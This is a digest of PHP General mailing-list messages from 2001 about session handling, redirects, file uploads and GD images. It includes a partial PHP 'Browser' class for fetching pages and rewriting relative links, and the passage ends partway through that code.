The session and variables seem fine _IN_ photoupload.php, but when I try to link to another page from the photoupload.php page, it is broken.
But when I right-click on the links, copy the link
shortcut complete with PHPSESSID,
e.g.
(http://foo.bar.com/asdfsad.php?PHPSESSID=!
#$!
#$!
#$!
#$!
#$
!#$)
and then I take and paste that into the location: field in a newly opened web browser, the session works and I can continue to use it. But when I try to click on the link inside of the photoupload.php, the session dies and doesn't show any of the PHP session variables even though I've checked and they exist and have values in the session files on the hard drive on the server.
One more weird anomaly, is that when I change the method=post to method=get in the html upload request page, I don't have these problems with the session. (I just have problems with the file upload because it requires method=post).
Anyone have an idea to whats going on here?
Thanks
Dan
attached mail follows:
In Asp i have this response.redirect "name_page.asp", it's used to go to another page
what is the similar function in PhP?
Regards
attached mail follows:
At 20:19 17/7/2001 -0500, Rhony V. wrote: >In Asp i have this > response.redirect "name_page.asp", it's used to go to another page > >what is the similar function in PhP?
A good look at the manual would satisfy your needs....
header("location:wheredoyouwanttogo.php");
That's it
Regards
Alex Piaz Webmaster Global Map Internet Marketing http://www.globalmap.com "Be cool or be cast out" ****************************************************************
attached mail follows:
> In Asp i have this
> response.redirect "name_page.asp", it's used to go to another page
>
> what is the similar function in PhP?
header("Location: http://www.your.domain/foo.php");
--
phpArbeitsgruppe in Gruendung - Jochen Kaechelin
Stuttgarter Str.3, D-73033 Goeppingen
Tel. 07161-92 95 94, Fax 07161-92 95 98
http://www.php-arbeitsgruppe.de, mailto:info
php-arbeitsgruppe.de
attached mail follows:
In Asp i have this response.redirect "name_page.asp", it's used to go to another page
what is the similar function in PhP?
Regards
attached mail follows:
header("location:name_page.asp");
"Rhony V." <rhony
peru-export.com> wrote in message
news:20010718011209.51975.qmail
pb1.pair.com...
> In Asp i have this
> response.redirect "name_page.asp", it's used to go to another page
>
> what is the similar function in PhP?
>
> Regards
>
>
attached mail follows:
Hi all (he says with a sheepish grin:),
To all of those who tried to help with this thread, I thank you from the bottom of my heart....
Unfortunatly , the problem was not one of syntax, but rather one of gross stupidity on my behalf. The Field where I had been keeping the (encrypted) passwords was set to 6 spaces, thus chopping off at least 1/2 of the encrypted password. So when it was looking for "password('a')" (which is 60671c896665c3fa BTW), it was only seeing 60671c in the field.....therefor NO MATCH. What a stupid mistake, delaying me for 1 1/2 days. At least I know I'm not as crazey as I thought i was going. I guess the lesson here is to step back once in a while and try looking 'around the edges' of a wall. Its amazing what you may find :).
Once again, thanks to all those kind souls who gave up there own time to try to help this ol' fool.
Cheers, Brad
> From: "Christopher Allen" <callen
driver8.org>
> Date: Tue, 17 Jul 2001 09:11:05 -0500
> To: "Brad Wright" <bradwright
optushome.com.au>
> Subject: Re: [PHP] mysql_query problem (more suggestions)
>
> not right because this works in a live system:
>
>
>
> $query1 =" SELECT * FROM zip_base WHERE '$zip1' >= zip && '$zip1' <=
> CONCAT(SUBSTRING(zip, '1', LENGTH(zip)-LENGTH(range)), range)"
>
> CONCAT, SUBSTRING and LENGTH are all mysql functions and they work fine in
> this query.
>
> ....
>
>> the problem is (as i understand it), the password function is a mySQL
>> function and not a PHP function, therefor it works in the context of a
>> mysql_query, but not as a PHP function (which your suggested code calls).
>> Unless i have actually defined a function 'password()', calling 'echo
>> password('$password') will (...does, i just double checked) causes a Fatal
>> Error 'Undefined Function'.
>> Nice try tho :)
>
>
attached mail follows:
Hi Elias-
Yes I have write access on all directories. It doesn't seem to matter which directory it copies to either.. because it crashes before the is_uploaded_file() and moveuploadedfile() calls.
-Adam
"elias"
<elias_bachaalany
To: php-general
lists.php.net
yahoo.com> cc:
Subject: [PHP] Re: Known bugs with HTTP upload on Windows NT?
07/17/2001 09:13
PM
Hmm... do you have write access on that directory? IUSR_xxx and IWAM_xxxx users must be appropriate writes on that folder...
"Adam Whitehead" <Adam_Whitehead
dialog.com.au> wrote in message
news:OF3C4EB825.777E77E2-ON69256A8C.001789D5
dialog.com.au...
> Hi All-
>
> I'm having trouble with a simple script that allows HTTP upload. It's a
> direct copy
> of the code available on the PHP web site.
>
> The script works fine on a UNIX machine running PHP 4.0.6 and a Windows
98
> machine running 4.0.6.
>
> However when I test it on a Windows NT machine running PHP 4.0.6, as soon
> as
> the submit button is clicked it causes a page fault in php.exe.
>
> Is this a known issue? In php.ini, the temporary upload path is set to a
> correct
> location and no amount of tweaking this path makes any difference.
>
> The script looks like this:
>
> <?php
> if (is_uploaded_file($userfile)) {
> move_uploaded_file($userfile,"H:\\www\\uploadtest.txt");
> echo "Done.";
> }
> ?>
>
> <FORM ENCTYPE="multipart/form-data" ACTION="uploadtest.php" METHOD
="post">
> <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="500000">
> Send this file: <INPUT NAME="userfile" TYPE="file">
> <INPUT TYPE="submit" VALUE="Send File">
> </FORM>
>
> Regards,
> Adam Whitehead
>
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribelists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
attached mail follows:
> Try to use javascript: > > <script language="JavaScript"> > x = window.open("mailto:<?php echo $mailaddress ?>", "Site"); > </script> > > It's easy to combine it with PHP to count the send mails. >
In order to do the mail counter using javascript above, how would that work?
What is "Site" for? and Does this script execute when people click on the
link to send mail or something?
Jack
jacky
activelifestyle.com
"Love your enemies, it will drive them nuts"
----- Original Message -----
From: Jorg Krause <krause
comzept.de>
To: <php-general
lists.php.net>
Sent: Tuesday, July 17, 2001 2:53 AM
Subject: RE: [PHP] email counter
> Hi,
>
> > Brian White [mailto:bwhite
steptwo.com.au] wrote on Tuesday, July 17,
2001
> 5:52 AM
> > To: Jack; php-general
lists.php.net
> > Subject: Re: [PHP] email counter
> >
> >
> > How about changing link to
> >
> > <a href="mymailer.php?email=lucas
starwars.com"> Big George </a>
> >
> > Where mymailer.php is something like
> >
> > <?php
> > /*
> > Do whatever it is you need to do with $email
> > */
> >
> > header("Location: mailto:$email" );
> >
> > ?>
> >
>
> Works, but changes the previous open window into a empty sheet
> and displays "mailto:lucas
starwars.com", so the old page
> disappears (the user has to click the back button). I think this
> solution is not really good for common usage.
>
> Try to use javascript:
>
> <script language="JavaScript">
> x = window.open("mailto:<?php echo $mailaddress ?>", "Site");
> </script>
>
> It's easy to combine it with PHP to count the send mails.
>
> Joerg
> www.php.comzept.de
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
>
attached mail follows:
Hi, Just a quick question for anyone that uses GD-Lib prior to the latest true-colo(u)r version (specifically v. 1.6.1) - if I try to load a jpeg that has more than 256 colours in it, will it succeed? I know the obvious answer is to try it and see...but I don't have it here on my machine, and I don't want to retrofit it just to test this one thing out!
Thanks in advance,
Dave Mariner.
attached mail follows:
> Just a quick question for anyone that uses GD-Lib prior to the > latest true-colo(u)r version (specifically v. 1.6.1) - if I try to > load a jpeg that has more than 256 colours in it, will it succeed? I > know the obvious answer is to try it and see...but I don't have it > here on my machine, and I don't want to retrofit it just to test this > one thing out!
Yes, it will work but it will dither it down to 256 colours.
-Rasmus
attached mail follows:
I am trying to create a page that will get a remote file and email it to me. All works fine using several different methods (include,file,fread) only relative links for images and links get my server address instead of the actual address the images should be retrieved from.
Is there a way I can get the remote file and make all relative links for images and such point where they should?
Thanks, bubba
attached mail follows:
I've been working on Hans Anderson's Browser class and I've adapted it to do what you're looking for. It's not complete but there should be a lot here for you to go on. Again, I haven't had time to fine tune things at all so it's a very rough hack right now. Hope it helps.
The dirty on how to use it:
<?php
require_once ('class_browser.php');
// new browser $browser = new Browser();
$file_array = $browser->get_url(array( "url"=>"$file", "req_mthd"=>'GET', "protocol"=>'HTTP/1.1', "robot_rules"=>FALSE ) );
if ($file_array["errcode"] == 1) { $file_text = $file_array["content"];
// convert relative links to absolute $file_text = $browser->translate($file_text, $file);
?>
class_browser.php:
class Browser {
/* Class Browser by Hans Anderson. This code is released under the GPL license. Modifications by Aral Balkan
06.22.01 - Added two new methods:
(1) $string = translate_links($string, $url);
Translates all relative links in argument $string to absolute links using the full URL to the page being accessed in the $url argument. Returns the translated string.
(2) $string = translate_images($string, $url);
Translates all relative image links in argument $string to absolute links using the full URL to the page being accessed in the $url argument. Returns the translated string.
Aral Balkan (aral
aralbalkan.com)
*/
function get_url($array) {
/* defaults (there is no default for 'url' or 'content') */ $robot_rules = TRUE; /* follow the robots.txt standard */ $req_mthd = 'GET'; $protocol = 'HTTP/1.0'; $user_agent = 'PHP3 Browser'; $time_out = 10;
/* for each argument set in the array, overwrite default */ while(list($k,$v) = each($array)) { $$k=$v; }
/* set up the cookies. If it exists, the straight variable will be written above ($$k=$v). */
if(is_array($cookies)) { $cookies2send = ''; while(list($k,$v) = each($cookies) ) { $cookies2send .= "Cookie: $k=" . urlencode($v) . "\n"; } }
if(!isset($url)) return array("content"=>' ',"headers"=>' ',"errcode"=>-1,"errmsg"=>'Fatal Error: No URL defined');
$parsed_url = parse_url("$url");
if($robot_rules) {
$robots_url = $parsed_url["scheme"] . "://" . $parsed_url["host"]; if($parsed_url["port"]) $robots_url .= ":" . $parsed_url["port"]; $robots_url .= "/robots.txt"; if(!$this->robot_rules($url,$robots_url,$user_agent)) return array("content"=>' ',"headers"=>' ',"errcode"=>0,"errmsg"=>"Non-fatal Error: Robot Rules do not permit this browser to access $url");
}
$req_mthd = strtoupper($req_mthd); // 2068 rfc says it's case sensitive.
$host = $parsed_url["host"];
if(!$host || $host=='' || !isset($host)) array("content"=>' ',"headers"=>' ',"errcode"=>-1,"errmsg"=>'Fatal Error: No URL defined');
$path = $parsed_url["path"]; if(!$path || $path=='' || !isset($path)) $path = "/";
$query = $parsed_url["query"]; if($query!='') $path = "$path?$query";
if(!isset($parsed_url["port"])) { $port = 80; } else { $port = $parsed_url["port"]; }
$timeout = time() + $time_out;
$fp = fsockopen("$host",$port,$errno,$errstring,$time_out);
if(!$fp) { return array("content"=>' ',"headers"=>' ',"errcode"=>0,"errmsg"=>"Non-Fatal Error: Could not make connection to url $url (not found in DNS or you are not connected to the Internet)"); } else {
set_socket_blocking($fp,1); // aral: set to 1 for it to work on Windows & Unix
$REQUEST = "$req_mthd $path $protocol\n"; if(eregi("^HTTP\/1\.[1-9]",$protocol)) $REQUEST .= "Host: $host\n"; $REQUEST .= "User-Agent: $user_agent\n"; if($referer) { $REQUEST .= "Referer: $referer\n"; } $REQUEST .= "Connection: close\n";
if($cookies) { $REQUEST .= $cookies2send; }
if($req_mthd=="POST") { $REQUEST .= "Content-length: " . (strlen($content)) . "\n"; $REQUEST .= "Content-type: application/x-www-form-urlencoded\n"; $REQUEST .= "\n$content\n"; } fputs($fp,"$REQUEST\n"); // complete the request # print "$REQUEST\n";
if($timeout<time()) return array("content"=>' ',"headers"=>' ',"errcode"=>0,"errmsg"=>"Non-Fatal Error: Timed out while downloading page"); while (!feof($fp) && time()<$timeout) { $output = fgets($fp,255);
$view_output .= $output;
if(!isset($header)) { if($output=="\n" || $output == "\r\n" || $output == "\n\l") { $header = $view_output; $view_output = ''; } }
}
}
fclose($fp);
if(time()>$timeout) return array("content"=>"$content","headers"=>"$headers","errcode"=>0,"errmsg"=>"No n-Fatal Error: Timed out while downloading page");
return array("content"=>"$view_output","headers"=>"$header","errcode"=>1,"errmsg"=> "Success");
} // end function get_url
/* ************************************* */
function get_headers($h) { $array = explode("\n",$h);
for($i=0;$i<count($array);$i++) { if( ereg("([A-Za-z]+)/([0-9]\.[0-9]) +([0-9]+) +([A-Za-z]+)",$array[$i],$r) ) { $hdrs['version'] = trim($r[2]); $hdrs['status_code'] = trim($r[3]); $hdrs['status_text'] = trim($r[4]); } elseif(ereg("([^:]*): +(.*)",$array[$i],$r)) { $hdr = eregi_replace("-","_",trim(strtolower($r[1]))); $hdrs[$hdr] = trim($r[2]); } }
return $hdrs; } // end function get_headers
/* ************************************* */
function get_a_header($h,$w) { $w=strtolower($w); $array = explode("\n",$h);
for($i=0;$i<count($array);$i++) { if( ereg("([A-Za-z]+)/([0-9]\.[0-9]) +([0-9]+) +([A-Za-z]+)",$array[$i],$r) ) { $hdrs['version'] = $r[2]; $hdrs['status_code'] = $r[3]; $hdrs['status_text'] = $r[4]; } elseif(ereg("([^:]*): +(.*)",$array[$i],$r)) { $hdr = eregi_replace("-","_",strtolower($r[1])); $hdrs[$hdr] = $r[2]; } }
return $hdrs[$w]; } // end function get_a_header
/* ************************************* */
function strip_entities($string) {
return ereg_replace("&[^;]{2,4};"," ",$string);
}
function strip_html($string) {
while(ereg("<[^>]*>",$string)) { $string = ereg_replace("<[^>]*>"," ",$string); }
while(ereg("\t+",$string)) { $string = ereg_replace("\t+"," ",$string); }
while(ereg("\n+",$string)) { $string = ereg_replace("\n+"," ",$string); }
while(ereg("\r+",$string)) { $string = ereg_replace("\r+"," ",$string); }
while(ereg("\l\r+",$string)) { $string = ereg_replace("\l\r+"," ",$string); }
while(ereg(" {2,}",$string)) { $string = ereg_replace(" {2,}"," ",$string); }
return $string; } // end function strip_tags
/* ************************************* */
function full_time($l=0) { $microtime = microtime(); return doubleval(substr($microtime,0,10)) + substr($microtime,11,10) + $l; }
/* ************************************* */
function get_links($s,$url=''){
if($url) { $p = parse_url($url);
if($p["port"]) { $port = ":$p[port]"; } else { $port = ''; } }
$copy = $s; // so we can return links and titles in their proper case $s = strtolower($s); // or else the strstr and strpos searches are case sensitive... $pos_start=strpos($s,"<a");
while($pos_start) { $pos_close = strpos($s,"</a",$pos_start); if($pos_close) { $pos_close += 4; } else { break; } $array[] = substr( $copy , $pos_start , $pos_close-$pos_start ); $pos_start=strpos($s,"<a",$pos_close); }
for($i=0;$i<count($array);$i++) { eregi('href *= *"?([^" >]*)"?[^>]*>(.*)</a *>?',$array[$i],$r);
if($url) { if(!eregi("^mailto",$r[1])) {
if(eregi("^(f|ht)tp",$r[1])) { /* full url */ $this_url = $r[1]; } elseif(eregi("^/",$r[1])) { /* absolute path, but not full url */ $this_url = $p["scheme"] . "://" . $p["host"] . $port . $r[1]; } else { if($p["path"] == "/" || $p["path"] == '') { /* relative link, but no url path */ $this_url = $p["scheme"] . "://" . $p["host"] . $port . "/" . $r[1]; } else { /* relative link, with url path */ if(ereg("/$",$p["path"])) { /* and the path ends in '/', so not a file */ $this_url = $p["scheme"] . "://" . $p["host"] . $port . $p["path"] . $r[1]; } else { /* and the path doesn't end in '/', so probably a file (but it *could* be a directory, we can't really know) */ $remove = strrchr($p["path"],"/"); $path = ereg_replace("$remove","/",$p["path"]); $this_url = $p["scheme"] . "://" . $p["host"] . $port . "$path" . $r[1];
} }
}
$links[] = array($array[$i],$this_url,$r[2]);
}
} else {
$links[] = array($array[$i],$r[1],$r[2]);
}
}
return $links; /* array[$i][0] = entire link, array[$i][1] = link, array[$i][2] = link title */
} // end function get_links
/* ************************************* */ /* Translate functions by Aral Balkan */ /* ************************************* */
function translate($s, $url=''){
// Calls all translate functions and returns the result $translated = $this->translate_links($s, $url); $translated = $this->translate_images($translated, $url); $translated = $this->translate_flash_objects($translated, $url); $translated = $this->translate_embeds($translated, $url);
return $translated; }
/* ************************************* */
function translate_links($s,$url=''){
// added 6.22.01 Aral Balkan // Replaces relative links in the body of passed string with // absolute links.
if($url) { $p = parse_url($url);
if($p["port"]) { $port = ":$p[port]"; } else { $port = ''; } }
$copy = $s; // so we can return links and titles in their proper case $s = strtolower($s); // or else the strstr and strpos searches are case sensitive... $pos_start=strpos($s,"<a");
$previous_close = 0; // save the previous closing location (top = 0)
while($pos_start) { $pos_close = strpos($s,"</a",$pos_start);
if($pos_close) { $pos_close += 4; } else { break; } $array[] = substr( $copy , $pos_start , $pos_close-$pos_start );
// save the rest of the page // (to be used when stringing it back together again) // - aral 6/22/01 $rest_of_page[] = substr($copy, $previous_close, $pos_start-$previous_close); $previous_close = $pos_close;
$pos_start=strpos($s,"<a",$pos_close); }
for($i=0;$i<count($array);$i++) { eregi('href *= *"?([^" >]*)"?[^>]*>(.*)</a *>?',$array[$i],$r);
if($url) { if(!eregi("^mailto",$r[1])) {
if(eregi("^(f|ht)tp",$r[1])) { /* full url */ $this_url = $r[1]; } elseif(eregi("^/",$r[1])) { /* absolute path, but not full url */ $this_url = $p["scheme"] . "://" . $p["host"] . $port . $r[1]; // replace the relative link with the absolute one if ( ('' !== $r[1]) && (NULL !== $r[1]) ) { $absolute_links[] = eregi_replace($r[1], $this_url, $array[$i]); } } else { if($p["path"] == "/" || $p["path"] == '') { /* relative link, but no url path */ $this_url = $p["scheme"] . "://" . $p["host"] . $port . "/" . $r[1]; // replace the relative link with the absolute one if ( ('' !== $r[1]) && (NULL !== $r